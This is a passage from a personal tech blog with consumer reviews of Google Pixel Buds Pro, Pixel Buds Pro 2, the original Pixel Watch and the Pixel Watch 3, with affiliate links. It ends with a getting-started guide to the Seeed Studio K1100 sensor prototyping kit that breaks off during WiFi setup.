confirmation chime is one of my favorite small upgrades Each earbud plays a slightly different charging tone so you know which one docked Excellent fast charging from the case Comfort is significantly improved over previous generations Still works great across Android devices without locking features behind owning a Pixel phone Google continues to do the right thing by not turning these into “Pixel-only” accessories. You do not need a Google Pixel phone to get the full experience, which I still appreciate a lot. Pros / Cons Pros Excellent comfort for long listening sessions Fast charging is genuinely useful in daily life Better battery life than the original Pro series Thoughtful charging chime with left/right earbud distinction Strong sound quality Premium build quality Cons Still expensive compared to the A-Series Not a dramatic redesign if you already own first-gen Pros Conclusion Google focused on refining the parts of the experience you actually notice every single day instead of chasing gimmicks. Better comfort, faster charging, stronger battery life, and thoughtful little usability improvements like the charging chime all make these feel better to live with than the original Pro series. The fact that I sometimes fall asleep wearing them says a lot about how comfortable they are. The fact that I can rescue a nearly dead earbud with just a few minutes in the case says a lot about how good the charging system is. Those are the things you remember after months of ownership. Not spec sheet numbers. If you already own the first Pixel Buds Pro and they’re still working perfectly, this may not be an urgent upgrade. But if your original pair is aging, your battery life is slipping, or you’re upgrading from older Pixel Buds like I was, the Pixel Buds Pro 2 are absolutely worth it. They earn a strong recommend from me. This feels like Google taking an already very good product and polishing all the rough edges off of it. That’s usually how the best hardware upgrades happen. Not through dramatic reinvention, but by making the everyday experience noticeably better. And that’s exactly what they did here! #### Google Pixel Buds Pro Review Google Pixel Buds Pro Review I’ve had the original Google Pixel Buds buds (first generation) for a couple of years now. That line (and the second generation of it) was cancelled some time ago in favor of the Pixel Buds A Series. As of late though my original Pixel Buds have been acting up and the left headphone will often be dead when I open the lid for the case. I would have to leave the lid of the charger open after taking the left headphone out and putting it back in again for it to charge correctly and then I would be able to finally use them for whatever I pulled them out to do. It was time for an upgrade. Today I’m going to review the Pixel Buds Pro series with active noise cancellation. I’ll specifically be comparing them to my original Pixel Buds and the A Series. Let’s get started! Table of Contents Toggle Hardware UsedBuild QualityWear ComfortNoise CancellationAudio QualityCompatibility with Android DevicesBattery LifeAdditional Noteworthy FeaturesPros / ConsProsConsConclusion Hardware Used Google Pixel Buds Pro The Google Pixel Buds Pro contain active noise cancellation and are Google’s most premium wireless headphones set that they offer. They work well with any Android device and have no features that are exclusive to having a Google Pixel phone. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Build Quality The charger is pretty much identical looking to other Pixel Buds models. The shape for the headphones is different for the “Pro” series though vs. the original Pixel Buds and A Series. It’s well built and my original Pixel Buds charger continues to work well to this day so I expect the Pixel Buds Pro charger will do at least as well. The headphone shape itself is a little different from previous models. Here’s a side by side comparison: Pixel Buds (left) vs. Pixel Buds Pro (right) At first glance you may think “whoa, those must stick way out when you put them in your ears”. They don’t. It sits at about the same height on your ear. It’s just placed into your ear much better than the older model which sticks in your ear rather than sit. I’ll discuss this difference and the implications of it more in the “Wear Comfort” section. The headphones are very light and comfortable and will rest in your ear. They feel solid and I have no doubt the durability will last longer than the battery inside it will (a few years at most depending on usage for any battery in a device like this). Wear Comfort One complaint I have about the design of my original Pixel Buds and the Pixel Buds A Series is that it creates a small pressure point in your ear. It usually would take several hours for it to become uncomfortable and since I primarily used them for working out it wasn’t too much of a problem. On the occasions where I was traveling or for some reason was going to be using them longer for a couple of hours the very small point where the pressure is on the A Series / older designs would actually be sore when I took them out for a little while. I’m very pleased to report that because the Google Pixel Buds Pro have a completely different design this pressure point is completely eliminated. The A series design kind of stuck in your ear (which was great, it would never fall out). The Google Pixel Buds Pro actually kind of rest in your ear more rather than stick in there. You place them in and then rotate them to create a complete seal. As a consequence of this there is no pressure point. Once you rotate them into place they are actually comfortably resting in your ears with a much larger surface area in contact with your ears than the A series had (eliminating the pressure points). Noise Cancellation The noise cancellation on the Google Pixel Buds pro is actually very impressive. I’m sure this is due to the resigned way they fit into your ears creating a much better (and more comfortable) resting seal. When you first pair your Google Pixel Buds with your phone it will actually do a seal test (that you can perform at any time). It’s important enough to have a good seal that they included a function to test for it! That looks like this: Google Pixel Buds Eartip Seal Check When I have them on I can only hear the loudest clicks from my keyboard. On the treadmill I can only hear the loudest part of my steps or when my shoe partially drags across the treadmill and creates that annoying higher pitched scraping sound. Like most noise cancellation technology it’s particularly good at removing particular types of noise. It’s great at removing rumbling vibration noises (such as a plane engine) or white noise especially. It’s not very good at removing very loud high frequency sounds (like the loudest part of a click of a mechanical keyboard). Those you will hear but they will be very dulled / muted. I would actually rate the noise cancellation as pretty close to some of my Sennheiser portable headphones that go partially over the ear. I think this is due to the Google Pixel Buds Pro sealing my ears better than partial over-the-ear headphones. It’s a better seal (and much closer to your eardrum) and so less noise leaks through. I’ll probably just use the Google Pixel Buds Pro for my next flight rather than my old over-the-ear Sennheiser set (although Sennheiser does make really nice gear). Audio Quality The audio quality is better with the Google Pixel Buds Pro than my Google Pixel Buds. You can hear and distinguish more sounds that I wouldn’t have been able to hear/distinguish as well on my original Google Pixel Buds. I think this is partly due to the way they seal with your ears giving a better and more isolated environment. If you are an “extreme” audiophile then I’m sure there has to be better choices than these for that. I’m sure that you can find earbuds that produce better mids or highs or whatever it may be but this is a well-balanced set of headphones that will sound pretty great to most people. They won’t sound cheap or tinny like an off-the-shelf bad set of headphones. Despite being called the “Google Pixel Buds Pro” though these are definitely a consumer line of headphones. You aren’t going to find sound engineers using them while they’re working in the studio. Of course. These are headphones with a rechargeable battery that will eventually wear out with normal expected use within a few years. It doesn’t make sense to put extremely expensive unobtainium drivers/parts into headphones that you know have a lifespan of maybe 2-3 years at best and the battery is not meant to be user-replaceable (or anyone replaceable). That is why this review is for the general consumer who wants to buy a pair of good wireless headphones with noise cancellation knowing full well that rechargeable wireless headphones are an item that will wear out within a few years and you will buy the latest model to replace it at that time. For studio work I would hope you would invest in solutions meant to be used in that setting (and hopefully for longer than the designed lifetime of this product because studio quality generally isn’t cheap). Compatibility with Android Devices Since Google is the company that makes Android they have to be really careful about locking other manufacturers out of any of the features of their devices including their accessories. This is smart and it’s also the right thing to do. You will not gain any additional features whatsoever by having a Google Pixel phone / watch. They will work perfectly with any Android phone including the companion Pixel Buds app. I actually got my wife a set of Pixel Buds A Series for my wife for Christmas because I knew they were really good for working out. They work flawlessly with her Samsung Galaxy S22 (as does her Pixel Watch I got her). It does not matter that she does not have a Google Pixel phone. She expressed interest in trying out the Google Pixel Buds Pro though during her workout to see how they stacked up. This gave me another chance to test compatibility with the Samsung Galaxy S22 devices as well as get another heads up comparison between the two models. Battery Life The battery is rated for 11 hours of battery life according to Google. On my original Pixel Buds the battery life was rated for 5 hours. This is just the battery life though before you need to pop it into the case to charge (which actually happens very quickly, the batteries are tiny relatively speaking and there’s not much to charge). If you’ve ever used any other Pixel Buds the battery life is much better on the Pro series. After about an hour workout though the battery life was only down to about 93%. This feels like much, much longer than twice the battery life of my older Pixel Buds but no doubt the battery has started to wear out on my old pair. You could use them for the better part of a waking day before having to put them back in the case to charge back up. Additional Noteworthy Features The headphones support Google’s “Find My Device” which is handy for locating the headphones if they’re lost/misplaced Noise cancellation can be turned off or set to “Transparency Mode” which will actually let you hear things going on in the room even though the headphone seals your ears and blocks out a natural amount of noise anyway. This lets you hear that noise even with the headphones in The device has touch controls that can be set up within Android including functions for swiping foward, back, single tapping, double tapping, triple tapping as well as touch and hold. Pros / Cons Pros Comfortable to wear for long periods of time Battery life of 11 hours which is more than twice the other Pixel Buds models Great sound quality Cons More than twice as expensive as the Pixel Buds A series Conclusion They’re a lot more expensive than the Google Pixel Buds A series. That is the primary thing you are going to have to weigh between the Google Pixel Buds Pro and the Google Pixel Buds A Series. Do you only use them to work out or watch videos occasionally for a couple of hours at a time? Then going from $69 to $199 is quite a jump in price to get the Google Pixel Buds Pro series and I’m not sure that would be worth it. If you are someone that knows they are going to use them for hours every day or someone who travels a lot or would benefit from the noise cancellation I would highly recommend upgrading to the “Pro” series. I know I will just be sticking with the “Pro” series from now on as the Google Pixel Buds lineup continues to evolve. The headphones earn a recommend from me. Google didn’t lock out or make any special/additional features for Google Pixel phone users. I absolutely love that for antitrust reasons / worries about their competitors ditching Android / a whole multitude of reasons Google is doing the right thing here and shipping hardware that plays nice with their direct hardware competitors. The noise cancellation is fantastic. The seal the headphones get around your ears creates a very quiet environment that will let you stay focused on whatever you’re doing. They’re much more comfortable to wear (especially for long periods of time) than the A series / original Pixel Buds. They will be great for long trips / commutes. My wife has had as great of an experience with them on her Samsung Galaxy S22 as I have had on my Google Pixel 7 Pro without missing out on any exclusive features. I asked her to tell me honestly (for review purposes) whether she would have preferred I got her the Pixel Buds Pro after trying them during her workaround and she unequivocally said yes once I made it clear that I would not be offended. I 100% agree with her and I would have bought her the Pixel Buds Pro if I had tried and reviewed them before I bought her the Pixel Buds A Series with her Pixel Watch for Christmas. I’ll be releasing my review for the Google Pixel Watch soon. Even though I have had the Google Pixel Watch longer it’s harder to review than the Google Pixel Buds Pro since there’s just a lot more to cover with the Pixel Watch since it has a screen / operating system / etc. but stay tuned for that! #### Google Pixel Watch (the original) Review Google Pixel Watch It had been a while since I had given using a wearable device a try. I had not used one since the original Apple Watch all the way back in 2015. I had switched away from Apple many years ago though to Android phones. Since then I had not seen any reason to try a wearable again although I heard the Samsung Android ones had been improving. I’d been using a Google Pixel phone for the past several generations as I really like the Google out-of-box experience of having all of the native apps be proper Google apps. It was a clean experience that felt a lot more like Apple. Other Android phones I’d used such as Samsung pushed their own suite of apps which usually were not as good as the native Google apps. As a fan of the clean first-party OS/application experience I was pretty excited to give the Google Pixel Watch a try. I’ve now had it for 3 months so this will be a 3 month usage review. In this review I’ll cover the good, the bad and the ugly about the Google Pixel Watch. Let’s begin! Table of Contents Toggle Hardware UsedScreen Protection NecessityRecommended Screen ProtectorDeveloper ModeDeveloper Mode OptionsTaking ScreenshotsBattery TipsWatch Faces / ComplicationsPros / ConsProsConsConclusionOther ResourcesDoes the original Google Pixel Watch need a screen protector?How can I make the Pixel Watch interface feel faster?How can I improve Pixel Watch battery life? Hardware Used Google Pixel Watch The Google Pixel Watch is Google’s first wearable smart watch offering. It features a minimalist interface and design much like the Google Pixel series of phones. Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Screen Protection Necessity Let’s start with a big one. The Google Pixel Watch does have Corning’s Gorilla Glass 5 for the watch face. Most of you will probably recognize the name of the material. The truth is though that’s an older version of gorilla glass and there’s way better options available now (that are frequently used by other manufacturers such as Apple and Samsung). So what can happen if you don’t use some kind of screen protection? Check out what happened to Ben Schoon when he took his watch to Disney World: Google Pixel Watch Scratched How hard is this to do? Not that hard if the watch face makes contact with the right kind of material. Apparently Ben ran into a pillar “Pixel Watch first” when he was trying to get a picture taken. He had used the watch without protection the entire time up to that moment though without any serious scratches. The problem was the pillar was probably made (or covered) with a material that is really high on the hardness scale. If it was a stone pillar that’s exactly the kind of thing I’d expect to be able to do this. I’ve scratched some Gorilla Glass surfaces on phones with pebbles from my shoe when I’d previously had them naked for years without things like my car keys or anything like that scratching them. It was simply because that little pebble happened to be a 7-8 on the hardness scale which is too much for this type of glass to protect against. I dropped my phone on the floor face-first and it slid against it and that scratched it quite badly. I ended up trading it in for the Google Pixel 7 Pro*. Recommended Screen Protector Given all of this needless to say I highly recommend using a screen protector for the Google Pixel Watch. I’ve been using these ones for the 3 months I’ve owned it: Armorsuit Military Shield 6 Pack A 6 pack of screen protectors for the Google Pixel Watch. Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* These are pretty standard and inexpensive protectors. The trick with applying them is to wet both sides of the screen protector with the included solution and then stick it on the watch face. Try to get it centered on the watch face. At that point you need to wait at least a couple of minutes for it to start drying before you try to squeegee anything out. If you try to squeegee before that the screen protector will just freely move around on the watch face. I’ll be honest and say you should probably plan on just destroying the first attempt to install it. I did. My wife did too for her first try. After that we both “got it” though and you learn the patience while waiting for it to dry and will get a perfect installation every time after that. You get 6 of them with the pack (only $9.95 at time of writing) so it’s fine to use up one as a training one. Don’t be afraid if you hate installing these. This one isn’t particularly hard or complex like some of the glass-based and other solutions. Believe me when I say the biggest trick is patience and not trying to squeegee before it has started to dry a little bit (or press down the edges, they won’t stick until it starts drying). My wife and I replace ours every month or two because at that point the screen protector will usually start to have some damage for the hits it took for your screen. Once I start noticing a few scratches/scuffs in the screen protector I’ll put a fresh one on. After it has dried for a few minutes and I’m able to squeegee it without it moving the entire screen protector around freely I’ll squeegee it really well and then put it on the charger. The heat from the charging seems to help it dry and cure a bit faster and then I’m not wearing it while the screen protector is still wet/sensitive. Developer Mode There are some great quality of life tweaks you can make by activating developer mode on your watch. This is easy. Go to Settings->System->About->Versions. You should see this screen: Google Pixel Watch – Become Developer Simply tap “Build number” as circled above until you get a message that you’ve enabled developer mode. It should be about 7 taps. Now you should have a new option in your Settings menu at the very bottom: Google Pixel Watch – Developer Menu Developer Mode Options Once you’ve activated developer mode you’ll have the following options: Stay awake when charging (not recommended) Bluetooth snoop logging Vibrate on connectivity change ADB Debugging Debug over Bluetooth / WiFi Revoke debugging authorizations Wear developer options Force display burn-in protection Force low-bit ambient mode Force full GNSS measurements Select mock location app Logger buffer sizes Debug layouts Force RTL layout Debug GPU profiling Window animation scale (recommended) Transition animation scale (recommended) Animator duration scale (recommended) Pointer location Show taps Bug report in menu Automatically enable WiFi when charging (recommended) WiFi verbose logging Mobile battery saver Mobile data Battery optimization System State Overlay Haptics on TTW Wow, that’s quite the set of options! There’s plenty of useful ones in here depending on your circumstances and what you are trying to do. The ones I recommend the most are changing the window animation scale, transition animation scale and animator duration scale. I changed mine to .5x from the default of 1x. What this does is makes your watch animations take half of the time. It makes your Google Pixel Watch feel much faster because you aren’t waiting as long for it to do the animations. Some people like shutting them off altogether with the “Animation off” setting. That’s a valid option to if you want no animations. I still wanted the animations but I wanted them to take less time / be faster. This developer setting lets you do that. Now let’s talk about a setting I do not recommend. The “Stay awake when charging” option. This sounds great in theory as since it’s connected to power it should be fine to power the display, right? The issue is that this is wireless charging and if you enable that option it will take at least 2x-3x longer to charge. It will make your charging time go from minutes to an hour or even more. I also like having WiFi automatically enabled when charging. This doesn’t seem to impact the charging time much unlike keeping the screen on constantly while it’s charging. Taking Screenshots There’s a neat and easy way to take screenshots of your Pixel Watch screen from your phone. To do this simply open your “Watch” app from your Android phone. Click the 3 dots in the top right of the screen to bring down the menu and choose “Take screen shot on watch”: Google Pixel Watch – Take Screenshot Once you’ve pressed to take the screenshot you should have a new notification on your phone saying “Ready to send watch screenshot – Tap to send”. Tap the notification and it will give you options on where to send the screenshot. You’ll have all the sharing options available like you would sharing most things in Android. I sent mine to my Google Photos account to use for this article but you can email, text and all of the other available options in the Android sharing menu. Battery Tips When I first got the device I was only getting about a day out of it between charges. I experimented with a lot of the different power saving settings and I found that it was the tilt-to-wake option that was reducing my battery life the most. That setting is in the Watch app under Watch Preferences->Display & Gestures. Here’s my power settings: Google Pixel Watch – Display & Gestures It turns out that since I work on the computer all day my watch was constantly activating every time I put my hands up to my keyboard basically. This was tilting it and waking it. It was absolutely slaughtering my battery life. With the above settings I now get about 2 days worth of battery life. I try to charge it daily when I take a shower but I always make a note of what my battery life is each 24 hours when I take my shower. It’s usually around 48-55% depending on how much I was using it with the screen on that day. I was not very happy with only getting one day out of it but fixing the tilt-to-wake setting gave me a bunch of breathing room where if I forget to charge it one day then I’ll probably hit battery saver mode sometime late on the second day once it reaches below 20% or so. Watch Faces / Complications Watch faces will be the very first option you see in the “Watch” app. It’s very easy to change faces as well as configure exactly what information shows on the main screen. There are varying numbers of slots to display information on the watch face depending on which face you choose. I prefer to use the “Index” watch face as it has a very high number of complications while maintaining a very minimalist design: Google Pixel Watch – Edit Watch Face / Complications Here you can see how easy it is to adjust various parameters of the watch face. The complications are set at the bottom. Saying there is a lot of choices on what data you can display is an understatement: Google Pixel Watch – Complication Options Here you can get an idea of just how many complication options there are to display data on your Google Pixel Watch. This was as many as I could get in a single screenshot. One interesting thing to note is that one of my icons is a different color than all of the others. That is because the “Entity state” blue icon above actually belongs to my Home Assistant app. That’s right, you get app-related options you can display on your watch faces! With the “entity state” option I could actually display the state of one of my smart home devices within Home Assistant right on the watch face. Other Wear OS apps will give you more options to display on the watch face in a similar way. Very nice! Pros / Cons Pros Features an minimalist Google design FitBit integration and blood pressure sensor are excellent Complications allow you to display many different types of information on the watch face including new choices based on the apps you install Cons Only compatible with included charger — does not support other wireless chargers Uses an older type of Gorilla Glass 5 that is not as tough as many competitor smart watches on the market (screen protector recommended) Conclusion I’ve been really impressed with the Google Pixel Watch especially considering it’s a first generation product. It’s delightful to use and many things that I wasn’t expecting to work (such as picture messaging within the Messages app) worked flawlessly. The “Messages” app integration is amazing. I’ve even found some surprising apps available for Wear OS such as Home Assistant. This allows me to control my entire smart home from my wrist. All of my available smart home options and sensors show up within Home Assistant on the watch. The FitBit integration has been nice as well. I can always see my blood pressure, it tracks my sleep and more. It comes with a 6 month subscription to FitBit pro which is necessary to track sleep. Most of the health related features will work fine without the premium subscription but it is nice. You may also use the Google Health app with it as well but FitBit is definitely the star here for fitness tracking. I can’t stress enough that you should use some sort of watch face protection / screen protection for this device. Hopefully I scared you all enough with the scratch picture at the top of the article that you will consider using some kind of screen protector with the device. You won’t regret it but you very well might regret not using one. I’d also like to applaud Google for making the Google Pixel Watch have exactly zero additional features for people with a Google Pixel phone. You won’t get a single additional feature using a Google Pixel phone over anyone else. My wife has the Samsung Galaxy S23 and I got her one of these for Christmas and she loves it. She can do everything I can do and that’s a huge plus. I like that Google is playing nice and not locking any exclusive features to the Pixel lineup. It makes it a lot easier for me to comfortably recommend the watch to all Android users. You will be able to take full advantage of it no matter what brand of Android phone you are using. Other Resources I’ve also reviewed the Google Pixel Buds Pro here Does the original Google Pixel Watch need a screen protector?Yes. The screen uses Gorilla Glass 5, which is prone to micro-abrasions. Applying a high-quality tempered glass protector immediately is highly recommended.How can I make the Pixel Watch interface feel faster?Enable the hidden Developer menu by tapping the build number in Settings > System > About > Versions seven times. Then change the animation scale from 1x to 0.5x for snappier transitions.How can I improve Pixel Watch battery life?Disable “Raise to Wake” in Watch Preferences > Display & Gestures. This alone can extend battery life from roughly 48–55% daily drain to a full 24-hour cycle, though you will lose gesture-based screen activation. #### Google Pixel Watch 3 Review: Bigger Screen, Battery Google Pixel Watch 3 Review It had been quite a while since I first reviewed the original Google Pixel Watch and I ended up using that watch daily for much longer than I expected. It was one of those devices that once you got used to having it, it became hard to go without it. Since then Google has had a couple more generations to refine the experience and I recently upgraded to the Google Pixel Watch 3. I’ve now been using it for several months and this will be a long-term usage review much like my original review. The short version is that Google fixed nearly every complaint I had with the original watch. The battery life is dramatically better and the larger 45mm size is a huge upgrade. In this review I’ll cover the good, the bad and the ugly about the Google Pixel Watch 3. Let’s begin! Table of Contents Toggle Hardware UsedScreen Protection – Still MandatoryBattery Life – Finally Good45mm Size – The Real UpgradeDeveloper Mode Still RecommendedHow to Enable Developer Mode on Google Pixel Watch 3Watch Faces / ComplicationsWatch BandsPros / ConsProsConsConclusionIs the Google Pixel Watch 3 screen actually bigger?How is the battery life on the Pixel Watch 3 compared to the Watch 2?Is the Pixel Watch 3 compatible with non-Pixel phones? Hardware Used Google Pixel Watch 3* The Google Pixel Watch 3 is Google’s latest flagship wearable smart watch offering. It keeps the same minimalist Pixel design language but adds the much-needed 45mm size option, significantly improved battery life and a much tougher display. For this review I strongly recommend the 45mm model specifically. This is the version that really fixes the battery complaints from the earlier generations. If you buy the smaller 41mm model many users are still reporting battery life that feels too close to the original Pixel Watch experience. The 45mm version is the one that feels like the real upgrade. Screen Protection – Still Mandatory With the original Pixel Watch I strongly recommended using a screen protector. In fact I considered it almost mandatory. The curved glass looked beautiful but it was simply too easy to scratch and the Gorilla Glass 5 protection was not confidence inspiring. Unfortunately that has not changed. The glass is the same as the first and second Google Pixel Watch models. That means it is very wise to get a screen protector: Google Pixel Watch 3 – 45mm Screen Protectors* People continue to scratch their Pixel Watch by brushing against a door frame / wall / other benign reasons. These little protectors will keep the watch face safe from scratches so it stays nice looking for the life of the watch! Battery Life – Finally Good This is the biggest practical improvement for me. The original Pixel Watch was basically a daily charger. If you forgot to charge it, you were probably going to be in battery saver mode by the end of the next day. I had to carefully manage settings like tilt-to-wake just to make it comfortable to use. The Pixel Watch 3 changes that completely. I now get a solid 2-3 days of battery life on the 45mm version without having to obsess over power settings. That means I don’t have to think about it anymore. I still usually charge it while showering because that’s an easy habit, but if I forget, it simply doesn’t matter. That peace of mind makes the watch feel much more premium than the original. With the first watch I felt like I was managing the battery. With the Pixel Watch 3 I just wear it. That’s how it should be. 45mm Size – The Real Upgrade Google Pixel Watch 3 – 41mm vs 45mm Google adding the 45mm version was absolutely the right move. The original Pixel Watch looked nice but it always felt a little too small, especially if you prefer seeing more information on the screen at once. The 45mm version fixes that immediately. It feels more substantial, easier to read and more useful throughout the day. Notifications are easier to glance at. Complications have more room. Touch interactions feel less cramped. Everything just feels better. The larger size also directly contributes to the better battery life since it allows for a larger battery. This is why I specifically recommend the 45mm model. If you’re upgrading from the original Pixel Watch, this is the version that feels like a true generational leap. Developer Mode Still Recommended Google Pixel Watch – Developer Menu The animation scale settings remain one of the best quality of life improvements you can make. I still reduce: Window animation scale Transition animation scale Animator duration scale from 1x down to .5x. This makes the watch feel much faster because you’re spending less time waiting for animations. It’s not actually making the processor faster of course, but it absolutely improves how responsive the watch feels during normal use. Some people like turning animations off completely. I still prefer .5x because I like having the animations without the unnecessary delay. This remains one of the best hidden settings. How to Enable Developer Mode on Google Pixel Watch 3 To enable developer mode go to Settings -> System -> About -> Versions. Tap on the “Build number” 7 times and you will see a message stating you have become a developer! Google Pixel Watch – Become Developer Watch Faces / Complications Google Pixel Watch – Edit Watch Face / Complications Watch face customization remains one of the strongest parts of the Pixel Watch experience. Complications are flexible, easy to manage and they become even more useful on the larger 45mm display. I still prefer cleaner minimalist faces with a high number of complications so I can see useful information at a glance without opening apps. Battery, weather, calendar, heart rate, smart home status and timers are the ones I use the most. There are many more options though: Google Pixel Watch – Complication Options Wear OS app integrations are also still excellent. Home Assistant remains one of my favorite examples since I can monitor and control smart home devices directly from the watch face. That kind of flexibility makes the watch much more than just a notification screen. Watch Bands The watch bands are highly customizable. I use these stretchy ones from Amazon: Google Pixel Watch Bands – 45mm* A three pack of these at time of writing (and when I purchased them a while back) is under $10. I like them because since they stretch when you want to take the watch off you can just pull on the band and the elasticity will give you enough room to pull your hand out without having to adjust the band’s fit. This lets me take it on and off without ever adjusting the size so that when I take pressure off the band it goes to my perfect fit every time! Pros / Cons Pros Excellent minimalist Google design 2-3 day battery life on the 45mm model is a massive improvement 45mm size feels significantly better for daily use Great complications and Wear OS app integrations No Pixel phone exclusives – works equally well across Android devices Cons The 41mm version still has weaker battery life and is much harder to recommend Still prefers the included charger rather than being universally friendly with all wireless chargers Screen is still scratch prone (use protection!) Premium pricing compared to some Wear OS alternatives Conclusion I’ve been really impressed with the Google Pixel Watch 3 and unlike the first generation, this one feels fully mature. The original Pixel Watch felt like a very promising first attempt. The Pixel Watch 3 feels like Google finally got it right. The better battery life alone makes it worth the upgrade, but the tougher display and the excellent 45mm size option are what really make it stand out. I no longer feel like I need to protect it from itself or carefully manage settings just to get through the day. It simply works the way a premium smart watch should. I’d especially emphasize again that if you’re buying one, get the 45mm version. That’s the version that delivers the real battery life improvement and the overall better experience. If you go with the 41mm version you may end up wondering why people are praising the battery life so much. Just like before, I also appreciate that Google does not lock special features behind owning a Pixel phone. Whether you’re using a Pixel, Samsung Galaxy or another Android phone, you get the full experience. That makes it much easier for me to recommend. For Android users looking for the best clean first-party smartwatch experience, the Google Pixel Watch 3 is easily the best Pixel Watch Google has made so far! Is the Google Pixel Watch 3 screen actually bigger?Yes, the Pixel Watch 3 features a 45mm case with a 40% larger Actua AMOLED display that reaches up to 2,000 nits of peak brightness, making it much easier to read outdoors. The smaller version is still available but the bigger version is strongly recommended.How is the battery life on the Pixel Watch 3 compared to the Watch 2?Battery capacity has been increased to support typical all-day use plus overnight charging. Heavy GPS tracking or constant Wear OS notifications will still drain it faster, but average daily endurance has improved.Is the Pixel Watch 3 compatible with non-Pixel phones?Yes. While optimized for Pixel phones, it works with most Android devices running Android 9.0 or higher. #### Grove IoT Sensor Prototyping – K1100 – Getting Started Guide Seeed Studio K1100 Sensor Prototyping – Getting Started Guide Recently I’ve been trying to learn more about options to set up my own sensors within the house. What kind of sensors? All of them. I want gas sensors to tell me the indoor/outdoor air quality. I want moisture sensors to tell me the moisture level in my garden. I want to know if all the doors and windows are shut and locked. I’m sure there are dozens of sensors out there I don’t even know about that once I do I will want. I basically want to be able to see a status / reading of everything going on in and around my home easily from a monitoring panel. I knew I wanted all of these types of sensors but I wasn’t sure how to get started. How will I control them all? How will they connect together? I don’t want apps for every single different sensor. I’ve been doing everything I can around the home to eliminate having so many different systems. I am looking for a system that is cleaner than that to tie everything together. An ecosystem. That was why when I was going through old Twitter direct messages from Seeed Studio offering to send me a prototyping kit to evaluate sensors from the “Grove” line of sensors I decided to contact them again and see if they were still interested in sending me this. They offered to send me the K1100 sensor prototyping kit and it was exactly what I needed as it contains a full kit including a screen (the Wio terminal). In under 10 minutes you can literally be up and running with either WiFi or LoRa to transmit the sensor data. Having a sensor prototyping kit was the tool I needed to start seriously breaking into the sensor world and starting to actually build instead of plan. In this guide we’ll cover the Seeed Studios K1100 sensor prototyping kit which gives you everything you need to easily buy and test inexpensive sensors (usually <$10) from the Grove ecosystem. Let’s get started! Table of Contents Toggle Hardware UsedDefining Sensor PrototypingWhat’s IncludedFirst Step – Update SenseCraftNetworkingConfigure LoRaConfigure WiFiConclusionOther Resources Hardware Used Seeed Studio SenseCap K1100 The Seeed Studio SenseCap K1100 kit is a sensor prototyping kit meant for testing and development for over 300 different types of Grove IoT sensors Links: Amazon.com*, seeedstudio.com (official), Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.sg* Defining Sensor Prototyping So what is it exactly that makes up a full sensor prototyping kit? Generally you’ll need a display, some sensors and a communication module. The important thing to understand is that basically you are getting a testing kit that you can plug any Grove sensor in immediately start using them (including in the cloud and with LoRa as there is 1 year of data credits included for free with the kit). This is extremely useful for testing if certain sensors are going to work for the use cases / applications you have in mind. The sensors are for the most part incredibly cheap (and the expensive ones have understandable reasons such as the thermal imaging camera module being $70 due to the cost of thermal imaging sensors). There are literally more than 300 sensor boards out there in the Grove ecosystem with varying capabilities. This kit makes it easy to plug in any of these sensors and start testing to see if they will be a good fit for the project / use case. I’d consider it an essential development tool for anyone working with sensors. This is essentially a <$100 Grove sensor development kit that will have everything you need to prototype and develop your sensor project. What’s Included Seeed Studio K1100 — What’s Included Wio Terminal Grove – Wio-E5 Grove – VOC and eCO2 Gas Sensor SGP30 Grove – Soil Moisture Sensor Grove – Temp & Humidity Sensor(SHT40) Grove – Vision AI Module 4x Grove – Cable 4x Grove – 4 pin Male Jumper to Grove 4 pin Conversion Cable USB Cable – Type C First Step – Update SenseCraft The first thing you should do is install the latest version of the SenseCraft application on the device as the Seeed Studio wiki instructions recommend. First go to the project’s GitHub page here. Make sure you read the download description and get the version that is for the K1100 (0.4.0 at time of writing). There is another version (0.4.1) that is for the K1101 so unless you have the K1101 get the version for the K1100. Once you’ve downloaded the .uf2 file from the GitHub page it’s time to connect the Wio terminal to your PC with either the provided or your own USB-C cable. Once it’s connected the terminal should power on. Now we just need to put the Wio terminal into bootloader mode. Once we do this it will show up as just a regular drive on your computer just like any USB flash drive would. To do this we will slide the power button down twice fairly quickly using the side button: Wio Terminal – Side Button In the above picture the device is actually in the “on” position. You want to slide it toward the SD card port. It will not stay in that position and will slide back the moment you release it. Simply slide it this way twice really quickly and it will show up as a removable drive in your PC. Now drag and drop the .uf2 file you downloaded earlier into the device’s folder. Once it’s finished the device will restart running the updated application. Easy! Networking You have a couple of choices for networking. The K1100 comes with a year of free data credits for LoRa usage. You may also use WiFi. The first thing you should do is register for a SenseCap account at Seeed Studio’s official SenseCap page here. Next get the app. On Android the instructions from Seeed are: Android: Please click http://sensecap-app-download.seeed.cn and scan QR code. iOS: Search “SenseCAP” in App Store. Despite the Android page taking you directly to an apk to download they do appear to have an official app by Seeed in the Android app store (just make sure it says it’s by Seeed). I used the Android store version (has less than 100 downloads so it looks quite new). Configure LoRa Configuring the LoRa module is extremely easy. Open up your SenseCap app and choose the “Device” tab from the bottom of the screen. Now click the “+” in the top right of the screen to add a new device. Your LoRa module has a QR code that you will scan on the back: SenseCap Binding Code Once you’ve scanned this in it will ask you for a device name and then allow you to save it. That’s it for the LoRa configuration! You can connect the LoRa module to the left-hand connector on the Wio terminal once this is completed. If it isn’t connecting automatically use the blue buttons on the top of the device to go to the “Uplink” menu and choose LoRa with the blue directional pad. It should then ask which frequency to use for the country you are in and once you select that it should start blinking and attempt to connect. Configure WiFi To configure the WiFi we are going to use a file on the device called config.txt. Connect your Wio terminal to your PC but this time we are not going to boot it into bootloader mode using the slider. Instead just plug in the device to the computer normally. You should see a small drive pop up that contains config.txt. It looks like this: SSID=WiFi_Name PASSWORD=WiFi_Password MQTT_CLIENT_NAME=Topic TOKEN=Default_Token DEVICE_LABEL=Device_Name ID_SCOPE=Default_ID_Scope DEVICE_ID=Default_Device_ID PRIMARY_KEY=Default_Primay_Key Edit the file and change your SSID and PASSWORD fields to match the network you’d like to use for WiFi. Now save the 